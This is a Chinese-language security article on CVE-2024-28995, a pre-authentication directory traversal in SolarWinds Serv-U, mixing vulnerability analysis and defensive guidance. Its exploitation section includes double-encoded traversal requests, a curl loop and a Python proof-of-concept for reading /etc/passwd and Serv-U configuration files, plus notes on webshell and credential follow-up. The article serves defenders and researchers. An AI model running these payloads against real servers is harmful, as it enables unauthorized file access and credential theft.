1. 项目概述:一个被低估的目录遍历漏洞
最近在梳理一些历史漏洞的利用链时,我又把目光投向了SolarWinds Serv-U。这个产品在2021年因为供应链攻击事件(Sunburst后门)而“名声大噪”,但很多人可能忽略了,它本身作为一款老牌的FTP/SFTP/FTPS服务器软件,其代码库中也潜藏着一些经典的、危害性极高的漏洞。CVE-2024-28995就是一个典型的例子——一个无需任何身份验证的目录遍历漏洞。乍一看,目录遍历似乎是个“老掉牙”的问题,但当你深入分析Serv-U的架构和这个漏洞的具体触发路径时,你会发现它的影响远比想象中严重,尤其是在特定配置下,攻击者几乎可以“为所欲为”。
这个漏洞的核心在于,未经身份验证的攻击者能够通过构造特殊的HTTP请求,绕过Serv-U的路径规范化检查,访问到服务器文件系统上的任意文件。这意味着什么?意味着如果这台Serv-U服务器恰好托管着一些Web应用,或者其安装目录下存在配置文件、日志文件甚至数据库文件,攻击者都可以直接读取。更危险的是,在某些场景下,结合其他条件,甚至可能实现远程代码执行。我之所以花时间重新剖析这个漏洞,是因为在近期的攻防演练和资产排查中,依然发现了不少未及时修补的Serv-U实例,这说明系统管理员对于此类“传统”漏洞的警惕性有所下降,而这恰恰给了攻击者可乘之机。
接下来,我将从一个安全研究者和渗透测试员的双重角度,带你彻底拆解CVE-2024-28995。我们不仅会搞清楚它“为什么”会发生,更会一步步还原“如何”利用它,并最终给出在当前环境下最务实、最有效的防御和修复方案。无论你是负责企业安全的工程师,还是对漏洞原理感兴趣的研究者,这篇文章都能让你获得实战级的收获。
2. 漏洞原理深度剖析:路径规范化为何失效?
要理解CVE-2024-28995,我们必须先理解Serv-U处理用户请求的流程,特别是它如何将用户提供的路径映射到服务器的实际文件系统。Serv-U作为一个支持多种协议(FTP, HTTP, SFTP)的文件服务器,其核心功能之一就是安全地隔离用户的家目录(Home Directory),防止用户越权访问其他区域。
2.1 Serv-U的路径处理机制
在理想的安全模型中,当用户(无论是通过FTP客户端还是Web客户端)请求一个文件路径,例如/downloads/report.pdf,Serv-U应该执行以下步骤:
- 规范化(Canonicalization):将请求中的路径转换为绝对路径,并解析掉所有的
.(当前目录)和..(上级目录)符号。 - 验证(Validation):检查规范化后的绝对路径,是否仍然位于为该用户分配的根目录(或虚拟目录)之下。
- 访问(Access):如果验证通过,则允许访问该文件。
问题的根源就出在第一步和第二步之间。Serv-U的HTTP/S Web客户端组件(用于提供基于Web的文件管理界面)在处理某些特定格式的请求时,其路径规范化逻辑存在缺陷。
2.2 CVE-2024-28995的具体触发点
根据公开的漏洞公告和补丁比对分析,漏洞存在于Serv-U的Web接口对URL路径的解码和验证顺序上。具体来说:
- 双重编码(Double Encoding)的滥用:攻击者可以将目录遍历序列(
../)进行URL编码。一次编码后,../变成%2e%2e%2f。Serv-U的某些处理层可能会对URL进行一次解码,将其还原为../。但如果攻击者对这个编码后的字符串再进行一次URL编码,就会得到%252e%252e%252f(注意%被编码成了%25)。 - 不一致的解码阶段:Serv-U的请求处理流水线中,可能在不同的阶段进行了URL解码。设想这样一个流程:
- 阶段A(安全检查前):对路径进行初步规范化,但可能只处理了一次解码,遇到
%252e会将其解码为%2e(字面字符串),而不会进一步识别为.。此时,路径files/%252e%252e%252fetc/passwd在安全检查器看来,可能只是一个包含奇怪字符%2e的普通路径名,由于没有检测到..序列,安全检查通过。 - 阶段B(安全检查后,文件系统访问前):在最终映射到文件系统时,代码可能会对路径进行第二次解码。这时,
%2e被正确地解码为.,于是路径神奇地变成了files/../etc/passwd。此时,安全检查早已完成,路径被直接传递给底层文件系统API,从而成功实现目录穿越。
- 阶段A(安全检查前):对路径进行初步规范化,但可能只处理了一次解码,遇到
注意:以上“双重编码”是一个经典绕过手法,但CVE-2024-28995的具体变体可能涉及更复杂的Unicode字符、特定参数或请求方法(如POST、PUT)。其本质是路径解析器与安全检查器对同一字符串的理解不一致,这被称为“解析差异攻击”(Parser Differential Attack)。
2.3 影响范围与严重性评估
官方公告的影响范围是:SolarWinds Serv-U FTP Server, Gateway, 和 MFT Server 版本 <= 15.4.2 Hotfix 1。这意味着在2024年补丁发布之前,大量在用的Serv-U版本都暴露在风险之下。
它的严重性为什么被评定为高危(CVSS评分通常较高)?
- 无需认证(Pre-authentication):攻击门槛极低,无需窃取或破解任何账号密码。
- 远程利用(Remote):通过网络即可发起攻击。
- 高影响(High Impact):可导致敏感信息泄露。泄露的文件可能包括:
- Serv-U自身的配置文件(
Serv-U.ini,Serv-U.dat),其中可能包含用户哈希、SSL私钥等。 - 系统其他用户的文件。
- Web应用程序的源代码或配置文件(如
web.config,.env文件)。 - 在Windows系统上,甚至可能尝试读取SAM数据库等系统文件(尽管受系统权限限制)。
- Serv-U自身的配置文件(
这个漏洞完美诠释了“最小权限原则”被破坏的后果。一个本该只提供文件传输服务的组件,因为解析逻辑的瑕疵,变成了一个通向服务器内部的文件读取器。
3. 漏洞利用实战:从信息收集到敏感文件读取
纸上谈兵终觉浅,绝知此事要躬行。下面我将模拟一个攻击者的视角,展示如何一步步利用CVE-2024-28995。请注意,以下所有操作仅用于授权的安全测试或学习研究,任何未经授权的攻击行为都是非法的。
3.1 环境搭建与目标识别
首先,我们需要一个目标。在授权测试中,这可能是一个沙箱环境。你可以从旧版本软件归档站点找到受影响的Serv-U版本(例如15.4.2)进行安装,用于研究。
识别一个目标是否为Serv-U服务器,通常有几种方法:
- 端口扫描:Serv-U的Web管理界面和用户Web客户端通常运行在HTTP(80/tcp)或HTTPS(443/tcp)端口上。标准的FTP服务在21端口。
- 横幅抓取(Banner Grabbing):连接到Web端口,查看HTTP响应头。老版本的Serv-U可能在
Server头或自定义头中泄露信息。
可能会看到类似curl -I http://<target_ip>:<port>/Server: Serv-U或相关版本信息的头部。 - 路径探测:Serv-U的Web接口通常有一些默认路径,如
/,/login,/admin。访问这些路径可能会返回特定的登录页面、图标或错误信息,从而指纹识别。
3.2 构造利用请求
假设我们已确认目标http://192.168.1.100:80运行着存在漏洞的Serv-U。核心的利用思路是尝试通过Web接口读取系统文件。
基础Payload构造:最直接的测试是尝试读取Web根目录之外的文件。例如,在Windows系统上,尝试读取C:\Windows\system32\drivers\etc\hosts文件;在Linux系统上,尝试读取/etc/passwd。
由于漏洞可能涉及编码绕过,我们需要尝试多种Payload变体。这里以一个虚拟路径/webclient/和尝试穿越到上级目录为例:
请求示例1:使用经典的../遍历
GET /webclient/../../../../etc/passwd HTTP/1.1 Host: 192.168.1.100这通常会被基础的安全机制拦截。
请求示例2:使用URL编码一次
GET /webclient/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 Host: 192.168.1.100%2e是.的URL编码,%2f是/的编码。这个也可能被检测。
请求示例3:使用双重URL编码(关键测试)
GET /webclient/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1 Host: 192.168.1.100这里,%25是%符号本身的URL编码。所以%252e会被第一次解码为%2e,如果安全检查在此之后,则看不到..。随后在文件访问层,%2e被第二次解码为.,形成有效的../。
请求示例4:尝试不同的端点或参数有时漏洞可能隐藏在特定的API端点或查询参数中,而不是直接的路径里。例如:
GET /webclient/api?action=download&file=../../../etc/passwd HTTP/1.1 Host: 192.168.1.100或者对参数值进行编码:
GET /webclient/api?action=download&file=%252e%252e%252f%252e%252e%252fetc%252fpasswd HTTP/1.1 Host: 192.168.1.1003.3 利用工具与自动化脚本
手动构造HTTP请求效率低下,我们可以使用一些工具来批量测试。
使用cURL进行测试:
# 测试双重编码Payload curl -v --path-as-is "http://192.168.1.100/webclient/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd" # `--path-as-is` 参数告诉curl不要规范化URL中的 `..`,这对于测试目录遍历漏洞至关重要。 # 测试不同的深度 for i in {1..10}; do payload=$(printf '%%252e%%252e/'%.0s {1..$i}) echo "Testing depth $i: $payload" curl -s --path-as-is "http://192.168.1.100/webclient/${payload}etc/passwd" | head -c 200 echo -e "\n---" done使用Python编写POC脚本:一个简单的Python脚本可以更灵活地构造和测试Payload。
import requests import sys def test_traversal(target_url, base_path, filename, depths=5): """ 测试目录遍历漏洞 :param target_url: 目标基础URL,如 http://192.168.1.100 :param base_path: Web接口路径,如 /webclient/ :param filename: 想读取的文件,如 ../../../../etc/passwd :param depths: 尝试的 `../` 层数 """ # 多种编码变体 encodings = [ ('plain', '..'), ('single', '%2e%2e'), ('double', '%252e%252e'), ('unicode', '..%c0%af'), # 一种过时的UTF-8编码绕过,有时也值得一试 ] for enc_name, enc_seq in encodings: print(f"\n[*] Testing encoding: {enc_name}") for depth in range(1, depths + 1): # 构造路径:/base/path/ + (encoded_seq/) * depth + filename traversal_part = enc_seq + '/' full_path = base_path.rstrip('/') + '/' + (traversal_part * depth) + filename # 注意:对于双重编码,filename部分也可能需要编码,这里简化处理 if enc_name == 'double': # 简单地将filename中的斜杠也双重编码 encoded_filename = filename.replace('/', '%252f') full_path = base_path.rstrip('/') + '/' + (traversal_part * depth) + encoded_filename url = target_url + full_path print(f" Trying depth {depth}: {full_path}") try: resp = requests.get(url, timeout=5, verify=False) # verify=False 忽略SSL证书验证 if resp.status_code == 200 and len(resp.content) > 0: # 简单判断是否成功:返回内容包含特定字符串(如`root:`对于/etc/passwd) if b'root:' in resp.content or b'Administrator' in resp.content or len(resp.content) < 1000: # 防止过大文件 print(f"[!] POTENTIAL SUCCESS! Status: {resp.status_code}, Length: {len(resp.content)}") print(f" URL: {url}") print(f" First 500 chars:\n{resp.content[:500]}") return True elif resp.status_code in [403, 404]: pass # 常见错误,继续 else: print(f" Status: {resp.status_code}, Length: {len(resp.content)}") except requests.exceptions.RequestException as e: print(f" Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python servu_cve_2024_28995.py <target_url> <base_path>") print('Example: python servu_cve_2024_28995.py "http://192.168.1.100" "/webclient/"') sys.exit(1) target = sys.argv[1] base = sys.argv[2] # 根据目标系统猜测文件 test_files = [ "../../../../../../../../../../etc/passwd", # Linux "../../../../../../../../../../Windows/System32/drivers/etc/hosts", # Windows "Serv-U.ini", # Serv-U自身配置文件,可能在相对路径 "Serv-U.dat", ] for f in test_files: print(f"\n[+] Attempting to read: {f}") if test_traversal(target, base, f, depths=8): print("[+] Exploit appears successful for this file.") # 可以在这里添加更多操作,如交互式shell或批量下载 break实操心得:在实际测试中,
--path-as-is参数和正确处理URL编码是成功的关键。很多工具和库(如Python的requests)会自动对URL进行规范化,这可能会“修复”我们精心构造的恶意Payload,导致测试失败。因此,在编写POC时,有时需要手动拼接字符串,或使用更低层级的库(如http.client)来精确控制发送的原始数据。
3.4 利用成功后的后续动作
如果漏洞利用成功,读取到了/etc/passwd或hosts文件,证明了漏洞存在。接下来,攻击者可能会:
- 信息收集:读取更多敏感文件,如应用程序配置文件、日志文件、备份文件等,寻找数据库连接字符串、API密钥、其他系统凭证。
- 权限提升:如果Serv-U以高权限(如SYSTEM或root)运行,并且能读取到可写目录或特定脚本,可能结合文件上传(如果存在)或写入Webshell来实现代码执行。例如,在能确定Web根目录的情况下,尝试写入一个JSP/ASP/PHP文件。
- 横向移动:利用窃取的凭证,尝试登录服务器或其他关联系统。
4. 防御与修复方案:从紧急处置到长治久安
发现漏洞只是第一步,更重要的是如何修复和防御。对于系统管理员和安全运维人员来说,面对CVE-2024-28995这样的漏洞,需要一个层次化的应对策略。
4.1 紧急处置措施(临时缓解)
如果无法立即升级,可以考虑以下临时缓解措施,以降低风险:
网络层访问控制(ACL):
- 在防火墙或负载均衡器上,严格限制访问Serv-U服务器(特别是其Web管理端口和用户Web客户端端口)的源IP地址。只允许来自管理终端或特定信任网络的访问。
- 如果Serv-U仅用于内部文件交换,坚决不要将其Web服务端口暴露在互联网上。
应用层过滤(WAF/反向代理规则):
- 在Serv-U前端部署Web应用防火墙(WAF)或配置反向代理(如Nginx, Apache)。
- 配置规则,拦截包含大量
..、%2e、%252e、%c0%af等目录遍历特征序列的HTTP请求。 - 示例Nginx规则片段:
location /webclient/ { # 阻止明显的目录遍历 if ($request_uri ~* "\.\./") { return 403; } # 阻止URL编码的目录遍历 (需谨慎,可能误伤合法请求) if ($request_uri ~* "%2e%2e" ) { return 403; } if ($request_uri ~* "%252e%252e" ) { return 403; } # 将请求代理到后端的Serv-U proxy_pass http://serv-u-backend:port; proxy_set_header Host $host; # ... 其他代理设置 } - 注意:基于正则表达式的过滤可能存在误报或漏报,需要根据实际流量进行测试和调整。
修改Serv-U配置(如果支持):
- 检查Serv-U的配置项,是否有关闭或禁用Web客户端功能的选项。如果业务不需要通过Web浏览器访问文件,直接禁用此功能是最彻底的缓解方式。
- 审查并限制虚拟目录的映射,确保其指向的位置不包含敏感系统文件。
4.2 根本解决方案:升级与补丁
这是唯一被官方认可且最有效的修复方式。SolarWinds官方已经发布了修复此漏洞的版本。
修复版本:
- SolarWinds Serv-U FTP Server >=15.4.2 Hotfix 2
- SolarWinds Serv-U Gateway >=15.4.2 Hotfix 2
- SolarWinds Serv-U MFT Server >=15.4.2 Hotfix 2
升级步骤建议:
- 备份:在进行任何升级前,务必备份当前的Serv-U配置文件(如
Serv-U.ini,Serv-U.dat)以及所有托管的数据文件。 - 阅读发行说明:从SolarWinds官网下载补丁或新版本时,仔细阅读对应的发行说明(Release Notes),了解升级步骤、已知问题和兼容性说明。
- 测试环境验证:如果条件允许,先在隔离的测试环境中进行升级,验证新版本与现有配置、集成系统的兼容性。
- 生产环境升级:规划维护窗口,在生产环境中进行升级。按照官方指南操作,升级后务必重启Serv-U服务以使补丁生效。
- 验证修复:升级完成后,使用之前构造的漏洞利用Payload进行测试,确认漏洞已无法复现,且正常业务功能不受影响。
重要提醒:官方公告特别指出,Serv-U 15.3.2及更早版本已在2025年2月终止支持(End-of-Life, EOL)。运行EOL版本的系统将不会收到任何安全更新,面临极高的风险。强烈建议所有仍在使用EOL版本的用户,立即制定迁移计划,升级到受支持的版本。
4.3 安全加固最佳实践
打补丁解决了眼前的问题,但建立长期的安全态势需要更全面的加固。
遵循最小权限原则:
- 为Serv-U服务创建一个专用的、低权限的系统用户账户来运行,而不是使用
SYSTEM、root或高权限管理员账户。 - 严格限制该账户对文件系统的访问权限,仅授予其访问必需目录的读写权限。
- 为Serv-U服务创建一个专用的、低权限的系统用户账户来运行,而不是使用
文件系统隔离:
- 将Serv-U的安装目录、配置目录、日志目录以及用户文件存储目录,都放在独立的、非系统分区或目录下。
- 避免将Serv-U的根目录或虚拟目录指向包含操作系统文件或其他应用程序敏感文件的路径。
纵深防御:
- 在服务器上启用主机防火墙,仅开放必要的端口。
- 定期进行漏洞扫描和安全评估,不仅针对Serv-U,也包括整个操作系统和运行的其他服务。
- 部署主机入侵检测/防御系统(HIDS/HIPS),监控对Serv-U进程和关键文件的异常访问行为。
日志与监控:
- 确保Serv-U的审计日志功能已开启,并记录详细的事件(如登录、文件上传/下载、删除等)。
- 将日志集中收集到安全的SIEM(安全信息和事件管理)系统中。
- 设置告警规则,监控异常的访问模式,例如短时间内大量尝试访问不同路径的404或403错误,这可能就是目录遍历攻击的迹象。
5. 常见问题与排查技巧实录
在分析和防御这类漏洞的过程中,我遇到过不少典型问题和误区。这里记录下来,希望能帮你少走弯路。
5.1 漏洞验证中的“坑”
问题1:为什么我的Payload返回400 Bad Request或404 Not Found?
- 可能原因:路径深度不对。你需要猜测Web应用的根目录与实际文件系统根目录之间的相对深度。
../../../../可能不够,试试../../../../../../../../。 - 排查:先尝试读取一个已知存在的、位于Web目录下的文件(比如一个图片、
robots.txt),确认基础路径正确。然后逐步增加../的层数。 - 可能原因:目标端点不对。漏洞可能只在特定的URL路径或API端点上触发,而不是根目录。
- 排查:使用目录爆破工具(如
dirsearch,gobuster)寻找Serv-U特有的路径,如/webclient,/admin,/api,/servlet等,再针对这些路径进行测试。
问题2:工具显示“成功”(200 OK),但返回的内容是错误页面或空白?
- 可能原因:WAF或应用自身的安全机制返回了“伪装”的成功页面。有些安全产品会拦截恶意请求,但返回一个200状态码和普通错误页面,以混淆攻击者。
- 排查:检查响应体的内容和长度。一个成功的
/etc/passwd读取,其内容通常是文本格式,包含root:x:0:0:这样的行,长度也相对固定。如果返回的是HTML格式的“访问被拒绝”或默认错误页,则说明被拦截了。
问题3:在Linux上测试成功,在Windows上同样的Payload却失败了?
- 可能原因:文件路径分隔符不同。Linux使用正斜杠
/,Windows使用反斜杠\。在利用Windows路径时,Payload需要相应调整。 - 调整:将Payload中的
/替换为\或其URL编码形式%5c,并尝试双重编码%255c。例如:../../../../Windows/System32/drivers/etc/hosts或..%255c..%255c..%255c..%255cWindows%255cSystem32%255cdrivers%255cetc%255chosts。
5.2 修复与加固后的验证
问题4:升级后如何确认漏洞真的修好了?
- 方法:使用之前成功的Payload进行复测是最直接的方法。但更严谨的做法是进行回归测试。
- 步骤:
- 功能测试:确保Serv-U的所有正常业务功能(FTP上传下载、Web界面登录浏览、用户管理等)在升级后工作正常。
- 漏洞复测:使用包含多种绕过手法的Payload集(如普通
../、URL编码、双重编码、Unicode编码等)进行扫描。可以使用上一节中的Python脚本。 - 日志检查:在测试过程中,观察Serv-U的访问日志和系统安全日志。修复后的版本应该将此类恶意请求记录为非法访问尝试或直接返回403/404,而不是成功响应200。
问题5:已经设置了防火墙和WAF,是不是就不用急着打补丁了?
- 绝对不行!这是一个非常危险的误区。外围防护(防火墙、WAF)是重要的缓解和延迟手段,但不是修复。它们可能存在规则被绕过、配置错误或被意外关闭的风险。攻击者也可能从内网发起攻击,从而绕过外围防护。只有应用本身的补丁,才能从根本上消除漏洞。安全的最佳实践是“纵深防御”,即外围防护和软件补丁缺一不可。
5.3 长期防护建议
问题6:除了这个漏洞,Serv-U还有其他需要注意的吗?
- 回答:SolarWinds Serv-U历史上披露过多个安全漏洞,包括身份验证绕过、远程代码执行等。对于这类商业软件,我的建议是:
- 订阅安全公告:关注SolarWinds官方的安全公告渠道,以及CVE、NVD等通用漏洞数据库。
- 建立补丁管理流程:为所有企业软件(尤其是面向网络的服务器软件)制定严格的补丁更新策略和周期。对于高危漏洞,应建立紧急响应流程。
- 定期进行渗透测试:授权专业的安全团队或使用自动化工具,定期对暴露在外的服务进行安全测试,主动发现潜在风险。
问题7:如果找不到受影响的版本进行测试研究怎么办?
- 回答:漏洞研究不一定非要原版环境。你可以通过以下方式学习:
- 分析补丁:对比修复前后的二进制文件(如果可能)或官方更新日志,推测漏洞位置和修复方式。
- 搭建类似环境:使用其他开源的FTP服务器(如vsftpd, ProFTPD)或Web应用,尝试复现“目录遍历”这一大类漏洞的原理,理解路径解析、规范化、编码解码的常见错误模式。
- 研究公开的POC/分析文章:安全社区经常有研究人员发布详细的分析文章。阅读这些文章,理解漏洞的根源、利用条件和修复方法,其价值不亚于自己复现一次。
CVE-2024-28995给我们的核心教训是,即使是最常见的漏洞类型,在复杂的软件系统中也可能因为解析逻辑的细微差异而产生严重的实际影响。作为防御方,保持软件更新、实施最小权限和纵深防御,永远是应对未知威胁最坚实的基石。而在漏洞公开后,迅速行动,评估影响,并应用补丁,则是将风险降至最低的关键操作。